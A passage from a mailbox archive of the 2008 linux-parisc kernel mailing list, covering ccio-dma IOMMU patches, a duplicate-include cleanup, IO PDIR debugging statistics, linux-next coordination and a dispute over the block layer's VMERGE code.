+       u64     *pdir_ptr;
+       size_t  saved_byte_cnt;
 
+       iovp = (u32)CCIO_IOVP(iova);
+       pdir_ptr = &ioc->pdir_base[PDIR_INDEX(iovp)];
        /* round up to nearest page size */
        saved_byte_cnt = byte_cnt = ALIGN(byte_cnt, IOVP_SIZE);
 
        while(byte_cnt > 0) {
                /* invalidate one page at a time */
                unsigned int idx = PDIR_INDEX(iovp);
-               char *pdir_ptr = (char *) &(ioc->pdir_base[idx]);
-
                BUG_ON(idx >= (ioc->pdir_size / sizeof(u64)));
-               pdir_ptr[7] = 0;        /* clear only VALID bit */ 
+
+               /* clear only VALID bit */
+#ifdef __LP64__
+                *pdir_ptr &= ~((u64) IOPDIR_VALID);
+#else
+                ((unsigned long *) pdir_ptr)[1] &= ~IOPDIR_VALID;
+#endif
+
                /*
                ** FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
                **   PCX-U/U+ do. (eg C200/C240)
@@ -695,8 +702,9 @@
                ** Hopefully someone figures out how to patch (NOP) the
                ** FDC/SYNC out at boot time.
                */
-               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
 
+               pdir_ptr++;
                iovp     += IOVP_SIZE;
                byte_cnt -= IOVP_SIZE;
        }
=== <> ===

But it doesn'r fix any issue, though.

Cheers,
    J.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: linux-next: Requirements and process
Date: Wed, 23 Jul 2008 14:41:04 +1000
Lines: 45
Approved: news@gmane.org
Message-ID: <20080723144104.ac3a74e4.sfr@canb.auug.org.au>
References: <20080503154542.18807e59.sfr@canb.auug.org.au>
	<20080502233519.a988b552.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Wed__23_Jul_2008_14_41_04_+1000_WinOkhk5k6GJ0abh"
X-Trace: ger.gmane.org 1216788085 10702 80.91.229.12 (23 Jul 2008 04:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jul 2008 04:41:25 +0000 (UTC)
Cc: linux-next@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	Linus <torvalds@linux-foundation.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	linux-m32r@ml.linux-m32r.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-next-owner@vger.kernel.org Wed Jul 23 06:42:10 2008
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KLWAz-0008Up-CS
	for glkn-linux-next@gmane.org; Wed, 23 Jul 2008 06:42:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752365AbYGWElN (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Wed, 23 Jul 2008 00:41:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752394AbYGWElN
	(ORCPT <rfc822;linux-next-outgoing>);
	Wed, 23 Jul 2008 00:41:13 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:59255 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752365AbYGWElM (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Wed, 23 Jul 2008 00:41:12 -0400
Original-Received: from ash.ozlabs.ibm.com (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id 057E9368014;
	Wed, 23 Jul 2008 14:41:08 +1000 (EST)
In-Reply-To: <20080502233519.a988b552.akpm@linux-foundation.org>
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.9; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:1867 gmane.linux.kernel:710671 gmane.linux.ports.parisc:548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/548>

--Signature=_Wed__23_Jul_2008_14_41_04_+1000_WinOkhk5k6GJ0abh
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2 May 2008 23:35:19 -0700 Andrew Morton <akpm@linux-foundation.org>=
 wrote:
>
> On Sat, 3 May 2008 15:45:42 +1000 Stephen Rothwell <sfr@canb.auug.org.au>=
 wrote:
>=20
> > The following architectures are not in linux-next (and should be):
> >=20
> > alpha		cris		frv
> > h8300		m32r		m68knommu
> > mips		mn10300		parisc
> > um		v850		xtensa
>=20
> mips, m32r, parisc and xtensa do have git trees.  The rest are mastered as
> discrete patches in -mm.
>=20
> Except for m68knommu, which pops unexpectedly out of the woodwork during
> the merge window.  I've asked that this be altered ;)

So (from the above list) cris, m68knommu and mips have joined the
linux-next fray ...

(cc's some maintainers)
--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Wed__23_Jul_2008_14_41_04_+1000_WinOkhk5k6GJ0abh
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkiGtmAACgkQjjKRsyhoI8wyOACbBTwN5V0gylPybMMxU5tHHps7
3O4An0XbMoeQaeGJGIPgQjKZkqC5byEO
=8ZSr
-----END PGP SIGNATURE-----

--Signature=_Wed__23_Jul_2008_14_41_04_+1000_WinOkhk5k6GJ0abh--

From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Huang Weiyi <weiyi.huang@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: drivers/parisc/ccio-dma.c: Removed duplicated include
Date: Wed, 23 Jul 2008 22:45:11 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20080723222729.943A.WEIYI.HUANG@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216824412 26287 80.91.229.12 (23 Jul 2008 14:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jul 2008 14:46:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 23 16:47:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KLfbr-0005KW-J8
	for glpp-linux-parisc@gmane.org; Wed, 23 Jul 2008 16:46:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753170AbYGWOpN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jul 2008 10:45:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752830AbYGWOpM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Jul 2008 10:45:12 -0400
Original-Received: from ti-out-0910.google.com ([209.85.142.189]:42025 "EHLO
	ti-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754099AbYGWOpL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jul 2008 10:45:11 -0400
Original-Received: by ti-out-0910.google.com with SMTP id b6so1200607tic.23
        for <linux-parisc@vger.kernel.org>; Wed, 23 Jul 2008 07:45:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject:cc
         :message-id:mime-version:content-type:content-transfer-encoding
         :x-mailer;
        bh=GSuj7388/TiTgxeTouZSnIrfCj26ONwzjonWfI9uI6Q=;
        b=sou1SzRV+Zr8NnXYxB/5WoKhAc9ykr8cvUW1uVgQ9W4KOzVaZvrfgWknPH9+Yu8nJt
         /befjDgSJOMNB8BKNZJiPqi71Y7KkAaH/7yys6C6owAHFO2J28X84tuY3yA1uMegJO1F
         62PaYAbD+qOtMzIzAE2bnCdtwcRqfU5Ke6aM4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:cc:message-id:mime-version:content-type
         :content-transfer-encoding:x-mailer;
        b=VXsFe1yWCCbnSzWZns6Df35nwnMgcEz7gPgBVArVvEY7Sjn4W4G/1jtpoy/cNbKydR
         yU8Vsp2JKCoUwDOtM5YcLQsgZuL6ODB+OiKCQiC7y7pl3ADhDBGBTJ4M5peuWYZAmNQN
         gIROFRJdUf2MwUhrJ2wgnh+mW9o1J5pt9QTiU=
Original-Received: by 10.110.84.2 with SMTP id h2mr69415tib.53.1216824310124;
        Wed, 23 Jul 2008 07:45:10 -0700 (PDT)
Original-Received: from ?192.168.2.20? ( [58.212.80.207])
        by mx.google.com with ESMTPS id j5sm15448703tid.12.2008.07.23.07.45.07
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 23 Jul 2008 07:45:09 -0700 (PDT)
X-Mailer: Becky! ver. 2.24.02 [en]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/549>

Removed duplicated include file <linux/proc_fs.h> in 
drivers/parisc/ccio-dma.c.

Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com>

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index b30e38f..fc1dd6d 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -77,7 +77,6 @@
 #undef CCIO_MAP_STATS
 #endif

-#include <linux/proc_fs.h>
 #include <asm/runway.h>                /* for proc_runway_root */

 #ifdef DEBUG_CCIO_INIT


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: drivers/parisc/ccio-dma.c: Removed duplicated include
Date: Wed, 23 Jul 2008 12:11:06 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20080723181106.GA22601@colo.lackof.org>
References: <20080723222729.943A.WEIYI.HUANG@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216836702 9899 80.91.229.12 (23 Jul 2008 18:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jul 2008 18:11:42 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Huang Weiyi <weiyi.huang@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 23 20:12:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KLip2-0005Ot-PF
	for glpp-linux-parisc@gmane.org; Wed, 23 Jul 2008 20:12:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754251AbYGWSLV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jul 2008 14:11:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754227AbYGWSLU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Jul 2008 14:11:20 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:39695 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754097AbYGWSLT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jul 2008 14:11:19 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6A4594F80FF;
	Wed, 23 Jul 2008 12:11:17 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21883-05; Wed, 23 Jul 2008 12:11:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 00DF74F80FE; Wed, 23 Jul 2008 12:11:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080723222729.943A.WEIYI.HUANG@gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/550>

On Wed, Jul 23, 2008 at 10:45:11PM +0800, Huang Weiyi wrote:
> Removed duplicated include file <linux/proc_fs.h> in 
> drivers/parisc/ccio-dma.c.
> 
> Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com>

Thanks!
Acked-by: Grant Grundler <grundler@parisc-linux.org>

grant

> 
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index b30e38f..fc1dd6d 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -77,7 +77,6 @@
>  #undef CCIO_MAP_STATS
>  #endif
> 
> -#include <linux/proc_fs.h>
>  #include <asm/runway.h>                /* for proc_runway_root */
> 
>  #ifdef DEBUG_CCIO_INIT
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: ccio-dma: is issue could be related to too much io_tlb entries?
Date: Thu, 24 Jul 2008 14:13:55 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <K4II37$FC5730FEE6DF5668DA61E723AC34CF60@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1216905337 10875 80.91.229.12 (24 Jul 2008 13:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 13:15:37 +0000 (UTC)
Cc: "kyle" <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 15:16:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM0fi-0006XH-Sk
	for glpp-linux-parisc@gmane.org; Thu, 24 Jul 2008 15:15:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751256AbYGXNO6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2008 09:14:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751268AbYGXNO6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Jul 2008 09:14:58 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:33133 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751256AbYGXNO6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2008 09:14:58 -0400
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m6ODDt39016616;
	Thu, 24 Jul 2008 15:13:55 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC--Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/551>

Hello Grant, Kyle, et al.,

Iirc the number of io_tlb enties on this u2/uturn ioa is of 256?

Because issue occur only when I do a lot of I/O on scsi disk (sometime request
of mapping reach 128 pages), the idea was that it could induce some exceed of
iotlb entries.

I so turn on some STAT (just used_pages) and grab following data:
[snip]
IO PDIR size    : 131072 bytes (16384 entries)
IO PDIR entries : 16384 total  170 used (16214 free, 1%)
Resource bitmap : 2048 bytes (16384 pages)
  Bitmap search : 36221/36430/38793 (min/avg/max CPU Cycles)

IO PDIR size    : 131072 bytes (16384 entries)
IO PDIR entries : 16384 total  235 used (16149 free, 1%)
Resource bitmap : 2048 bytes (16384 pages)
  Bitmap search : 36220/36346/37806 (min/avg/max CPU Cycles)

IO PDIR size    : 131072 bytes (16384 entries)
IO PDIR entries : 16384 total  718 used (15666 free, 4%)
Resource bitmap : 2048 bytes (16384 pages)
  Bitmap search : 36222/36342/38472 (min/avg/max CPU Cycles)

## issue occurs just when I ready above message. 

IO PDIR size    : 131072 bytes (16384 entries)
IO PDIR entries : 16384 total  444 used (15940 free, 2%)
Resource bitmap : 2048 bytes (16384 pages)
  Bitmap search : 36220/36330/37830 (min/avg/max CPU Cycles)
[snip]

Even thought, I ended the stress test, the system continue to work smoothly
with 444 used entries?

Anyway, difference between those last 2 samples (718 - 444) = 274 increase of
io_pdir entries.

I also add a loop to bitcount entries of res_map and grab more:
[snip]
IO PDIR size    : 262144 bytes (32768 entries)  
IO PDIR entries : 32768 total  329 used (32439 free, 1%)
IO PDIR entries : 329 res_map_count
Resource bitmap : 4096 bytes (32768 pages)
  Bitmap search : 36221/36626/38310 (min/avg/max CPU Cycles)

IO PDIR size    : 262144 bytes (32768 entries)  
IO PDIR entries : 32768 total  801 used (31967 free, 2%)
IO PDIR entries : 801 res_map_count
Resource bitmap : 4096 bytes (32768 pages)
  Bitmap search : 36215/36325/37852 (min/avg/max CPU Cycles)

IO PDIR size    : 262144 bytes (32768 entries)  
IO PDIR entries : 32768 total  329 used (32439 free, 1%)
IO PDIR entries : 329 res_map_count
Resource bitmap : 4096 bytes (32768 pages)
  Bitmap search : 36222/36883/38742 (min/avg/max CPU Cycles)

[...]

(in 1 second 801 - 329 = 472)

But continuing a bit test (by accident), I noticed that system can survive with:

IO PDIR size    : 262144 bytes (32768 entries)
IO PDIR entries : 32768 total  1478 used (31290 free, 4%)
IO PDIR entries : 1478 res_map_count
Resource bitmap : 4096 bytes (32768 pages)
  Bitmap search : 36223/36696/38463 (min/avg/max CPU Cycles)

Well as scatterlist is still puzzling me, I can still be confused between
iommu and mmu pages mapping, sorry so in advance if it's yet another annoying
comment.

Tx again,
    J.





--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Thu, 24 Jul 2008 11:07:02 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807241103190.1545@devserv.devel.redhat.com>
References: <1216520228.3376.33.camel@localhost.localdomain> 
 <20080719.210737.197246608.davem@davemloft.net>  <1216565545.4199.10.camel@localhost.localdomain>
  <20080720.102302.137955996.davem@davemloft.net> <1216575211.4199.35.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216912113 2782 80.91.229.12 (24 Jul 2008 15:08:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 15:08:33 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 17:09:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM2RR-0003SU-Mx
	for glpp-linux-parisc@gmane.org; Thu, 24 Jul 2008 17:09:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753674AbYGXPIT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2008 11:08:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753607AbYGXPIT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Jul 2008 11:08:19 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:37931 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753546AbYGXPIS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2008 11:08:18 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6OF7RKA010367;
	Thu, 24 Jul 2008 11:07:29 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6OF72Kf018362;
	Thu, 24 Jul 2008 11:07:11 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6OF72xf031620;
	Thu, 24 Jul 2008 11:07:02 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6OF72CI001743;
	Thu, 24 Jul 2008 11:07:02 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6OF72Eh001739;
	Thu, 24 Jul 2008 11:07:02 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216575211.4199.35.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:552 gmane.linux.kernel:711319 gmane.linux.scsi:43380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/552>

> > For a dumb I/O card, you advertise SG_ALL capabilities, the IOMMU
> > is going to merge things as it would have anyways, and you have
> > code in the driver to advance SG entries after each "dumb I/O".
> 
> Not that dumb ... they just have a limited number of SG slots.  We
> wouldn't want to run them as spoon fed PIO because that really would
> kill performance.
> 
> > There is zero value to the vmerge code, the real gains are being
> > realized already.
> 
> There is value to me in my testbed, which I can't achieve any other way
> (except by buying different SCSI cards).
> 
> As I said, you can compile it out on sparc just fine.  I wish to keep it
> running for parisc, so I'll maintain it.  If it ever bit rots out of
> parisc like it has done for the other architectures, then feel free to
> remove it.
> 
> James

So try to #define BIO_VMERGE_BOUNDARY 0 for Pa-Risc and tell us what 
performance degradation do you see (and what driver do you use and what is 
the I/O pattern).

If you show something specific, we can consider that --- but you haven't 
yet told us anything, except generic talk.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Thu, 24 Jul 2008 11:28:34 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <1216913314.4524.25.camel@localhost.localdomain>
References: <1216520228.3376.33.camel@localhost.localdomain>
	 <20080719.210737.197246608.davem@davemloft.net>
	 <1216565545.4199.10.camel@localhost.localdomain>
	 <20080720.102302.137955996.davem@davemloft.net>
	 <1216575211.4199.35.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807241103190.1545@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216913345 7569 80.91.229.12 (24 Jul 2008 15:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 15:29:05 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Jul 24 17:29:54 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM2lN-0004My-9s
	for lnx-linux-scsi@gmane.org; Thu, 24 Jul 2008 17:29:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753336AbYGXP2y (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 24 Jul 2008 11:28:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753052AbYGXP2y
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 24 Jul 2008 11:28:54 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:43183 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752662AbYGXP2w (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Thu, 24 Jul 2008 11:28:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A10B480ED;
	Thu, 24 Jul 2008 10:28:50 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bI0fXThdQo-7; Thu, 24 Jul 2008 10:28:49 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 37359804B;
	Thu, 24 Jul 2008 10:28:47 -0500 (CDT)
